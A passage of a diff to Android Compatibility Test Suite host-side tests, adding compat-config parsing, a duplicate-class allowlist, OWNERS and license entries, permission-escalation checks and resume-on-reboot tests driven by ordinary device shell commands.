+                + "Change contains both enableAfterTargetSdk and enableSinceTargetSdk");
+        }
+        if (element.hasAttribute("enableAfterTargetSdk")) {
+            sinceSdk = Integer.parseInt(element.getAttribute("enableAfterTargetSdk")) + 1;
+        }
+        if (element.hasAttribute("enableSinceTargetSdk")) {
+            sinceSdk = Integer.parseInt(element.getAttribute("enableSinceTargetSdk"));
+        }
+        boolean disabled = false;
+        if (element.hasAttribute("disabled")) {
+            disabled = true;
+        }
+        boolean loggingOnly = false;
+        if (element.hasAttribute("loggingOnly")) {
+            loggingOnly = true;
+        }
+        return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly, false, false,
+                          null, null);
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(changeId, changeName, sinceSdk, disabled, hasOverrides);
+    }
+
+    @Override
+    public boolean equals(Object other) {
+        if (this == other) {
+            return true;
+        }
+        if (other == null || !(other instanceof Change)) {
+            return false;
+        }
+        Change that = (Change) other;
+        return this.changeId == that.changeId
+            && Objects.equals(this.changeName, that.changeName)
+            && this.sinceSdk == that.sinceSdk
+            && this.disabled == that.disabled
+            && this.loggingOnly == that.loggingOnly
+            && this.hasRawOverrides == that.hasRawOverrides
+            && this.hasOverrides == that.hasOverrides;
+    }
+
+    @Override
+    public String toString() {
+        final StringBuilder sb = new StringBuilder();
+        sb.append("ChangeId(" + changeId);
+        if (changeName != null && !changeName.isEmpty()) {
+            sb.append("; name=" + changeName);
+        }
+        if (sinceSdk != 0) {
+            sb.append("; enableSinceTargetSdk=" + sinceSdk);
+        }
+        if (disabled) {
+            sb.append("; disabled");
+        }
+        if (hasRawOverrides) {
+            sb.append("; rawOverrides={");
+            sb.append(rawOverrideStr);
+            sb.append("}");
+        }
+        if (hasOverrides) {
+            sb.append("; packageOverrides={");
+            sb.append(overridesStr);
+            sb.append("}");
+        }
+        sb.append(")");
+        return sb.toString();
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 6fa2f2b..84300a2 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -46,6 +46,7 @@
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.IOException;
+import java.util.Arrays;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
@@ -355,4 +356,15 @@
         getDevice().executeShellCommand(command, receiver);
         return receiver.getOutput();
     }
+
+    /**
+     * Get the on device compat config.
+     */
+    protected List<Change> getOnDeviceCompatConfig() throws Exception {
+        String config = runCommand("dumpsys platform_compat");
+        return Arrays.stream(config.split("\n"))
+                .map(Change::fromString)
+                .collect(Collectors.toList());
+    }
+
 }
diff --git a/hostsidetests/appcompat/strictjavapackages/Android.bp b/hostsidetests/appcompat/strictjavapackages/Android.bp
index 57ee345..0f922102 100644
--- a/hostsidetests/appcompat/strictjavapackages/Android.bp
+++ b/hostsidetests/appcompat/strictjavapackages/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsStrictJavaPackagesTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index 20efacf..e73f31a 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -41,6 +41,7 @@
 import java.util.Collection;
 import java.util.HashMap;
 import java.util.HashSet;
+import java.util.List;
 import java.util.Map;
 import java.util.Map.Entry;
 import java.util.Objects;
@@ -48,8 +49,10 @@
 
 import org.jf.dexlib2.DexFileFactory;
 import org.jf.dexlib2.Opcodes;
+import org.jf.dexlib2.dexbacked.DexBackedDexFile;
 import org.jf.dexlib2.iface.DexFile;
 import org.jf.dexlib2.iface.ClassDef;
+import org.jf.dexlib2.iface.MultiDexContainer;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -126,7 +129,86 @@
             "Landroid/hardware/contexthub/V1_0/PhysicalSensor;",
             "Landroid/hardware/contexthub/V1_0/Result;",
             "Landroid/hardware/contexthub/V1_0/SensorType;",
-            "Landroid/hardware/contexthub/V1_0/TransactionResult;"
+            "Landroid/hardware/contexthub/V1_0/TransactionResult;",
+            "Landroid/hardware/usb/gadget/V1_0/GadgetFunction;",
+            "Landroid/hardware/usb/gadget/V1_0/IUsbGadget;",
+            "Landroid/hardware/usb/gadget/V1_0/IUsbGadget$Proxy;",
+            "Landroid/hardware/usb/gadget/V1_0/IUsbGadget$Stub;",
+            "Landroid/hardware/usb/gadget/V1_0/IUsbGadgetCallback;",
+            "Landroid/hardware/usb/gadget/V1_0/IUsbGadgetCallback$Proxy;",
+            "Landroid/hardware/usb/gadget/V1_0/IUsbGadgetCallback$Stub;",
+            "Landroid/hardware/usb/gadget/V1_0/Status;",
+            "Landroid/os/IDumpstate;",
+            "Landroid/os/IDumpstate$Default;",
+            "Landroid/os/IDumpstate$Stub;",
+            "Landroid/os/IDumpstate$Stub$Proxy;",
+            "Landroid/os/IDumpstateListener;",
+            "Landroid/os/IDumpstateListener$Default;",
+            "Landroid/os/IDumpstateListener$Stub;",
+            "Landroid/os/IDumpstateListener$Stub$Proxy;",
+            "Landroid/os/IInstalld;",
+            "Landroid/os/IInstalld$Default;",
+            "Landroid/os/IInstalld$Stub;",
+            "Landroid/os/IInstalld$Stub$Proxy;",
+            "Landroid/os/IStoraged;",
+            "Landroid/os/IStoraged$Default;",
+            "Landroid/os/IStoraged$Stub;",
+            "Landroid/os/IStoraged$Stub$Proxy;",
+            "Landroid/os/IVold;",
+            "Landroid/os/IVold$Default;",
+            "Landroid/os/IVold$Stub;",
+            "Landroid/os/IVold$Stub$Proxy;",
+            "Landroid/os/IVoldListener;",
+            "Landroid/os/IVoldListener$Default;",
+            "Landroid/os/IVoldListener$Stub;",
+            "Landroid/os/IVoldListener$Stub$Proxy;",
+            "Landroid/os/IVoldMountCallback;",
+            "Landroid/os/IVoldMountCallback$Default;",
+            "Landroid/os/IVoldMountCallback$Stub;",
+            "Landroid/os/IVoldMountCallback$Stub$Proxy;",
+            "Landroid/os/IVoldTaskListener;",
+            "Landroid/os/IVoldTaskListener$Default;",
+            "Landroid/os/IVoldTaskListener$Stub;",
+            "Landroid/os/IVoldTaskListener$Stub$Proxy;",
+            "Landroid/os/storage/CrateMetadata;",
+            "Landroid/os/storage/CrateMetadata$1;",
+            "Landroid/view/LayerMetadataKey;",
+            "Lcom/android/internal/annotations/GuardedBy;",
+            "Lcom/android/internal/annotations/Immutable;",
+            "Lcom/android/internal/annotations/VisibleForTesting;",
+            "Lcom/android/internal/annotations/VisibleForTesting$Visibility;",
+            // TODO(b/173649240): due to an oversight, some new overlaps slipped through in S.
+            "Landroid/hardware/usb/gadget/V1_1/IUsbGadget;",
+            "Landroid/hardware/usb/gadget/V1_1/IUsbGadget$Proxy;",
+            "Landroid/hardware/usb/gadget/V1_1/IUsbGadget$Stub;",
+            "Landroid/hardware/usb/gadget/V1_2/GadgetFunction;",
+            "Landroid/hardware/usb/gadget/V1_2/IUsbGadget;",
+            "Landroid/hardware/usb/gadget/V1_2/IUsbGadget$Proxy;",
+            "Landroid/hardware/usb/gadget/V1_2/IUsbGadget$Stub;",
+            "Landroid/hardware/usb/gadget/V1_2/IUsbGadgetCallback;",
+            "Landroid/hardware/usb/gadget/V1_2/IUsbGadgetCallback$Proxy;",
+            "Landroid/hardware/usb/gadget/V1_2/IUsbGadgetCallback$Stub;",
+            "Landroid/hardware/usb/gadget/V1_2/UsbSpeed;",
+            "Landroid/os/BlockUntrustedTouchesMode;",
+            "Landroid/os/CreateAppDataArgs;",
+            "Landroid/os/CreateAppDataArgs$1;",
+            "Landroid/os/CreateAppDataResult;",
+            "Landroid/os/CreateAppDataResult$1;",
+            "Landroid/os/IInputConstants;",
+            "Landroid/os/IInputConstants$Default;",
+            "Landroid/os/IInputConstants$Stub;",
+            "Landroid/os/IInputConstants$Stub$Proxy;",
+            "Landroid/os/InputEventInjectionResult;",
+            "Landroid/os/InputEventInjectionSync;",
+            "Landroid/os/TouchOcclusionMode;",
+            "Lcom/android/internal/protolog/common/BitmaskConversionException;",
+            "Lcom/android/internal/protolog/common/InvalidFormatStringException;",
+            "Lcom/android/internal/protolog/common/IProtoLogGroup;",
+            "Lcom/android/internal/protolog/common/LogDataType;",
+            "Lcom/android/internal/protolog/common/ProtoLog;",
+            "Lcom/android/internal/protolog/ProtoLogImpl;",
+            "Lcom/android/internal/protolog/ProtoLogViewerConfigReader;",
+            "Lcom/android/internal/util/FrameworkStatsLog;"
         );
 
     /**
@@ -137,7 +219,7 @@
         assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
         runWithTempDir(tmpDir -> {
             final Set<DeviceFile> bcpJarFiles = pullJarsFromEnvVariable(tmpDir, "BOOTCLASSPATH");
-            checkClassDuplicatesMatchWhitelist(bcpJarFiles, ImmutableSet.of());
+            checkClassDuplicatesMatchAllowlist(bcpJarFiles, ImmutableSet.of());
         });
     }
 
@@ -150,7 +232,7 @@
         runWithTempDir(tmpDir -> {
             final Set<DeviceFile> sscpJarFiles =
                 pullJarsFromEnvVariable(tmpDir, "SYSTEMSERVERCLASSPATH");
-            checkClassDuplicatesMatchWhitelist(sscpJarFiles, ImmutableSet.of());
+            checkClassDuplicatesMatchAllowlist(sscpJarFiles, ImmutableSet.of());
         });
     }
 
@@ -166,7 +248,7 @@
                 pullJarsFromEnvVariable(tmpDir, "BOOTCLASSPATH"),
                 pullJarsFromEnvVariable(tmpDir, "SYSTEMSERVERCLASSPATH")
             );
-            checkClassDuplicatesMatchWhitelist(allJarFiles, BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST);
+            checkClassDuplicatesMatchAllowlist(allJarFiles, BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST);
         });
     }
 
@@ -240,10 +322,15 @@
         final Multimap<String, DeviceFile> allClasses = HashMultimap.create();
         final Multimap<String, DeviceFile> duplicateClasses = HashMultimap.create();
         for (DeviceFile deviceFile : jars) {
-            final DexFile dexFile =
-                    DexFileFactory.loadDexFile(deviceFile.hostPath, Opcodes.getDefault());
-            for (ClassDef classDef : dexFile.getClasses()) {
-                allClasses.put(classDef.getType(), deviceFile);
+            final File jarFile = new File(deviceFile.hostPath);
+            final MultiDexContainer<? extends DexBackedDexFile> container =
+                    DexFileFactory.loadDexContainer(jarFile, Opcodes.getDefault());
+            final List<String> entryNames = container.getDexEntryNames();
+            for (String entryName : entryNames) {
+                final DexFile dexFile = container.getEntry(entryName);
+                for (ClassDef classDef : dexFile.getClasses()) {
+                    allClasses.put(classDef.getType(), deviceFile);
+                }
             }
         }
         for (Entry<String, Collection<DeviceFile>> entry : allClasses.asMap().entrySet()) {
@@ -258,13 +345,16 @@
     }
 
     /**
-     * Checks that the duplicate classes in a set of jars exactly match a given whitelist.
+     * Checks that the duplicate classes in a set of jars exactly match a given allowlist.
      */
-    private void checkClassDuplicatesMatchWhitelist(Set<DeviceFile> jars, Set<String> whitelist)
+    private void checkClassDuplicatesMatchAllowlist(Set<DeviceFile> jars, Set<String> allowlist)
             throws Exception {
         // Collect classes which appear in at least two distinct jar files.
         Multimap<String, DeviceFile> duplicateClasses = getDuplicateClasses(jars);
-        assertThat(duplicateClasses.keySet()).isEqualTo(whitelist);
+        Set<String> deniedClasses = new HashSet<>();
+        deniedClasses.addAll(duplicateClasses.keySet());
+        deniedClasses.removeAll(allowlist);
+        assertThat(deniedClasses).isEmpty();
     }
 
     /**
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
index cffa133..4aaddd9 100644
--- a/hostsidetests/appsecurity/Android.bp
+++ b/hostsidetests/appsecurity/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsAppSecurityHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/appsecurity/OWNERS b/hostsidetests/appsecurity/OWNERS
index cbfad62..d561b80 100644
--- a/hostsidetests/appsecurity/OWNERS
+++ b/hostsidetests/appsecurity/OWNERS
@@ -1,8 +1,6 @@
 # Bug component: 533114
 toddke@google.com
 per-file AccessSerialNumberTest.java = moltmann@google.com
-per-file AdoptableFeatureConsistentTest.java = jsharkey@google.com
-per-file AdoptableHostTest.java = jsharkey@google.com
 per-file ApexSignatureVerificationTest.java = dariofreni@google.com
 per-file ApplicationVisibilityTest.java = toddke@google.com
 per-file AppDataIsolationTests.java = rickywai@google.com
@@ -12,16 +10,10 @@
 per-file BaseInstallMultiple.java = toddke@google.com
 per-file CorruptApkTests.java = rtmitchell@google.com
 per-file DeviceIdentifierTest.java = cbrubaker@google.com
-per-file DirectBootHostTest.java = jsharkey@google.com
-per-file DocumentsTestCase.java = dikshag@google.com
-per-file DocumentsTestCase.java = zemiao@google.com
-per-file DocumentsTest.java = dikshag@google.com
-per-file DocumentsTest.java = zemiao@google.com
 per-file EphemeralTest.java = toddke@google.com
-per-file ExternalStorageHostTest.java = jsharkey@google.com
 per-file InstantAppUserTest.java = toddke@google.com
 per-file InstantCookieHostTest.java = toddke@google.com
-per-file IsolatedSplitsTests.java = toddke@google.com
+per-file IsolatedSplitsTests.java = patb@google.com,toddke@google.com
 per-file KeySetHostTest.java = cbrubaker@google.com
 per-file ListeningPortsTest.java = cbrubaker@google.com
 per-file MajorVersionTest.java = toddke@google.com
@@ -33,10 +25,8 @@
 per-file PrivilegedUpdateTests.java = toddke@google.com
 per-file ReviewPermissionHelper = moltmann@google.com
 per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
-per-file ScopedDirectoryAccessTest.java = jsharkey@google.com
 per-file SharedUserIdTest.java = toddke@google.com
-per-file SplitTests.java = toddke@google.com
-per-file StorageHostTest.java = jsharkey@google.com
+per-file SplitTests.java = patb@google.com,toddke@google.com
 per-file UseEmbeddedDexTest.java = victorhsieh@google.com
 # test apps
 per-file BasePermissionsTest.java = moltmann@google.com
@@ -48,3 +38,12 @@
 per-file CtsShim*.apk = ioffe@google.com
 per-file com.android.apex.cts.shim.*.apex = dariofreni@google.com
 per-file com.android.apex.cts.shim.*.apex = ioffe@google.com
+
+per-file *Adoptable* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file *DirectBoot* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file *Storage* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file *Documents* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file ScopedDirectoryAccessTest.java = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+
+per-file *Documents* = file:platform/packages/apps/DocumentsUI:/OWNERS
+per-file ScopedDirectoryAccessTest.java = file:platform/packages/apps/DocumentsUI:/OWNERS
diff --git a/hostsidetests/appsecurity/certs/Android.bp b/hostsidetests/appsecurity/certs/Android.bp
index f856c5e..c0bf4a4 100644
--- a/hostsidetests/appsecurity/certs/Android.bp
+++ b/hostsidetests/appsecurity/certs/Android.bp
@@ -1,3 +1,13 @@
+package {
+    // See: http://go/android-license-faq
+    // A large-scale-change added 'default_applicable_licenses' to import
+    // all of the 'license_kinds' from "cts_license"
+    // to get the below license kinds:
+    //   SPDX-license-identifier-Apache-2.0
+    //   SPDX-license-identifier-NCSA
+    default_applicable_licenses: ["cts_license"],
+}
+
 android_app_certificate {
     name: "cts-testkey1",
     certificate: "cts-testkey1",
diff --git a/hostsidetests/appsecurity/certs/keysets/Android.bp b/hostsidetests/appsecurity/certs/keysets/Android.bp
index ad30099..5edce4c 100644
--- a/hostsidetests/appsecurity/certs/keysets/Android.bp
+++ b/hostsidetests/appsecurity/certs/keysets/Android.bp
@@ -1,3 +1,13 @@
+package {
+    // See: http://go/android-license-faq
+    // A large-scale-change added 'default_applicable_licenses' to import
+    // all of the 'license_kinds' from "cts_license"
+    // to get the below license kinds:
+    //   SPDX-license-identifier-Apache-2.0
+    //   SPDX-license-identifier-NCSA
+    default_applicable_licenses: ["cts_license"],
+}
+
 android_app_certificate {
     name: "cts-keyset-test-a",
     certificate: "cts-keyset-test-a",
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
index 08581f6..3059821 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
@@ -189,6 +189,10 @@
 
     @Test
     public void testDirectBootModeWorks() throws Exception {
+        if (!"file".equals(getDevice().getProperty("ro.crypto.type"))) {
+            LogUtil.CLog.d("Device is NOT encrypted with file-based encryption. skipping test");
+            return;
+        }
         assumeTrue("Screen lock is not supported so skip direct boot test",
                 hasDeviceFeature("android.software.secure_lock_screen"));
         // Install AppA and verify no data stored
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 7472748..72de9bb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -21,6 +21,8 @@
 import static org.junit.Assert.fail;
 
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -378,6 +380,26 @@
                 "testInstallPermissionGranted");
     }
 
+    @Test
+    @SecurityTest(minPatchLevel = "2020-11")
+    public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
+        if (mIsUnsupportedDevice) {
+            return;
+        }
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), EPHEMERAL_1_PKG, TEST_CLASS,
+                "testInstallPermissionNotGrantedInPackageInfo");
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-11")
+    public void testInstallPermissionGrantedInPackageInfo() throws Exception {
+        if (mIsUnsupportedDevice) {
+            return;
+        }
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), EPHEMERAL_1_PKG, TEST_CLASS,
+                "testInstallPermissionGrantedInPackageInfo");
+    }
+
     /** Test for android.permission.INSTANT_APP_FOREGROUND_SERVICE */
     @Test
     public void testStartForegroundService() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 2a087dc..5c26531 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -135,6 +135,9 @@
             getDevice().uninstallPackage(WRITE_PKG);
             installPackage(WRITE_APK);
 
+            // Make sure user initialization is complete before testing
+            waitForBroadcastIdle();
+
             for (int user : mUsers) {
                 runDeviceTests(WRITE_PKG, WRITE_CLASS, "testExternalStorageRename", user);
             }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
old mode 100644
new mode 100755
index ba62f2f..abb13ab
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
@@ -30,11 +30,13 @@
 import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters
 import android.cts.host.utils.DeviceJUnit4Parameterized
 import com.google.common.truth.Truth.assertThat
+import com.google.common.truth.Truth.assertWithMessage
 import org.junit.After
 import org.junit.Before
 import org.junit.Test
 import org.junit.runner.RunWith
 import org.junit.runners.Parameterized
+import java.lang.AssertionError
 
 /**
  * This test verifies protection for an exploit where any app could set the installer package
@@ -232,7 +234,7 @@
         }
     }
 
-    private fun getPermissionString(permission: String) =
+    private fun getPermissionString(permission: String) = retry {
             device.executeShellCommand("dumpsys package $TARGET_PKG")
                     .lineSequence()
                     .dropWhile { !it.startsWith("Packages:") } // Wait for package header
@@ -243,6 +245,20 @@
                     .takeWhile { !it.trim().startsWith("User") } // Until next user
                     .filter { it.contains("$permission: granted=") }
                     .single()
+     }
+
+    private fun <T> retry(block: () -> T?): T {
+        repeat(10) {
+            try {
+                block()?.let { return it }
+            } catch (e : Exception) {
+                // do nothing
+            }
+            Thread.sleep(1000)
+        }
+
+        throw AssertionError("Never succeeded")
+    }
 
     enum class GrantState {
         // Granted in full, unrestricted
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
new file mode 100644
index 0000000..e0fe368
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+public class PermissionEscalationTest extends DeviceTestCase implements IBuildReceiver {
+    private static final String ESCALATE_PERMISSION_PKG = "com.android.cts.escalate.permission";
+
+    private static final String APK_DECLARE_NON_RUNTIME_PERMISSIONS =
+            "CtsDeclareNonRuntimePermissions.apk";
+    private static final String APK_ESCLATE_TO_RUNTIME_PERMISSIONS =
+            "CtsEscalateToRuntimePermissions.apk";
+
+    private CompatibilityBuildHelper mBuildHelper;
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        Utils.prepareSingleUser(getDevice());
+        assertNotNull(mBuildHelper);
+
+        getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+
+        getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
+    }
+
+    public void testNoPermissionEscalation() throws Exception {
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                APK_DECLARE_NON_RUNTIME_PERMISSIONS), false, false));
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                APK_ESCLATE_TO_RUNTIME_PERMISSIONS), true, false));
+        runDeviceTests(ESCALATE_PERMISSION_PKG,
+                "com.android.cts.escalatepermission.PermissionEscalationTest",
+                "testCannotEscalateNonRuntimePermissionsToRuntime");
+    }
+
+    @SecurityTest
+    public void testNoPermissionEscalationAfterReboot() throws Exception {
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                APK_DECLARE_NON_RUNTIME_PERMISSIONS), false, false));
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                APK_ESCLATE_TO_RUNTIME_PERMISSIONS), true, false));
+        getDevice().reboot();
+        runDeviceTests(ESCALATE_PERMISSION_PKG,
+                "com.android.cts.escalatepermission.PermissionEscalationTest",
+                "testRuntimePermissionsAreNotGranted");
+    }
+
+    private void runDeviceTests(String packageName, String testClassName, String testMethodName)
+            throws DeviceNotAvailableException {
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
index 557596a..3023cd9 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
@@ -23,7 +23,9 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertThat;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.HostSideTestUtils;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
@@ -58,6 +60,8 @@
 
     private static final String FEATURE_REBOOT_ESCROW = "feature:android.hardware.reboot_escrow";
     private static final String FEATURE_DEVICE_ADMIN = "feature:android.software.device_admin";
+    private static final String FEATURE_SECURE_LOCK_SCREEN =
+            "feature:android.software.secure_lock_screen";
 
     private static final long SHUTDOWN_TIME_MS = TimeUnit.SECONDS.toMicros(30);
     private static final int USER_SYSTEM = 0;
@@ -284,6 +288,147 @@
         }
     }
 
+    private boolean isSupportedSDevice() throws Exception {
+        // The following tests targets API level >= S.
+        boolean isAtleastS = ApiLevelUtil.isAfter(getDevice(), 30 /* BUILD.VERSION_CODES.R */)
+                || ApiLevelUtil.codenameEquals(getDevice(), "S");
+
+        return isAtleastS && getDevice().hasFeature(FEATURE_SECURE_LOCK_SCREEN);
+    }
+
+    @Test
+    public void resumeOnReboot_SingleUser_ServerBased_Success() throws Exception {
+        assumeTrue("Device isn't at least S or have no lock screen", isSupportedSDevice());
+
+        int[] users = Utils.prepareSingleUser(getDevice());
+        int initialUser = users[0];
+
+        deviceSetupServerBasedParameter();
+
+        try {
+            installTestPackages();
+
+            deviceSetup(initialUser);
+            deviceRequestLskf();
+            deviceLock(initialUser);
+            deviceEnterLskf(initialUser);
+            deviceRebootAndApply();
+
+            runDeviceTestsAsUser("testVerifyUnlockedAndDismiss", initialUser);
+            runDeviceTestsAsUser("testCheckServiceInteraction", initialUser);
+        } finally {
+            try {
+                // Remove secure lock screens and tear down test app
+                runDeviceTestsAsUser("testTearDown", initialUser);
+
+                deviceClearLskf();
+            } finally {
+                removeTestPackages();
+                deviceCleanupServerBasedParameter();
+
+                getDevice().rebootUntilOnline();
+                getDevice().waitForDeviceAvailable();
+            }
+        }
+    }
+
+    @Test
+    public void resumeOnReboot_SingleUser_MultiClient_ClientASuccess() throws Exception {
+        assumeTrue("Device isn't at least S or have no lock screen", isSupportedSDevice());
+
+        int[] users = Utils.prepareSingleUser(getDevice());
+        int initialUser = users[0];
+
+        deviceSetupServerBasedParameter();
+
+        final String clientA = "ClientA";
+        final String clientB = "ClientB";
+        try {
+            installTestPackages();
+
+            deviceSetup(initialUser);
+            deviceRequestLskf(clientA);
+            deviceRequestLskf(clientB);
+
+            deviceLock(initialUser);
+            deviceEnterLskf(initialUser);
+
+            // Client B's clear shouldn't affect client A's preparation.
+            deviceClearLskf(clientB);
+            deviceRebootAndApply(clientA);
+
+            runDeviceTestsAsUser("testVerifyUnlockedAndDismiss", initialUser);
+            runDeviceTestsAsUser("testCheckServiceInteraction", initialUser);
+        } finally {
+            try {
+                // Remove secure lock screens and tear down test app
+                runDeviceTestsAsUser("testTearDown", initialUser);
+
+                deviceClearLskf();
+            } finally {
+                removeTestPackages();
+                deviceCleanupServerBasedParameter();
+
+                getDevice().rebootUntilOnline();
+                getDevice().waitForDeviceAvailable();
+            }
+        }
+    }
+
+    @Test
+    public void resumeOnReboot_SingleUser_MultiClient_ClientBSuccess() throws Exception {
+        assumeTrue("Device isn't at least S or have no lock screen", isSupportedSDevice());
+
+        int[] users = Utils.prepareSingleUser(getDevice());
+        int initialUser = users[0];
+
+        deviceSetupServerBasedParameter();
+
+        final String clientA = "ClientA";
+        final String clientB = "ClientB";
+        try {
+            installTestPackages();
+
+            deviceSetup(initialUser);
+            deviceRequestLskf(clientA);
+
+            deviceLock(initialUser);
+            deviceEnterLskf(initialUser);
+
+            // Both clients have prepared
+            deviceRequestLskf(clientB);
+            deviceRebootAndApply(clientB);
+
+            runDeviceTestsAsUser("testVerifyUnlockedAndDismiss", initialUser);
+            runDeviceTestsAsUser("testCheckServiceInteraction", initialUser);
+        } finally {
+            try {
+                // Remove secure lock screens and tear down test app
+                runDeviceTestsAsUser("testTearDown", initialUser);
+
+                deviceClearLskf();
+            } finally {
+                removeTestPackages();
+                deviceCleanupServerBasedParameter();
+
+                getDevice().rebootUntilOnline();
+                getDevice().waitForDeviceAvailable();
+            }
+        }
+    }
+
+    private void deviceSetupServerBasedParameter() throws Exception {
+        getDevice().executeShellCommand("device_config put ota server_based_ror_enabled true");
+        getDevice().executeShellCommand(
+                "cmd lock_settings set-resume-on-reboot-provider-package " + PKG);
+    }
+
+    private void deviceCleanupServerBasedParameter() throws Exception {
+        getDevice().executeShellCommand("device_config put ota server_based_ror_enabled false");
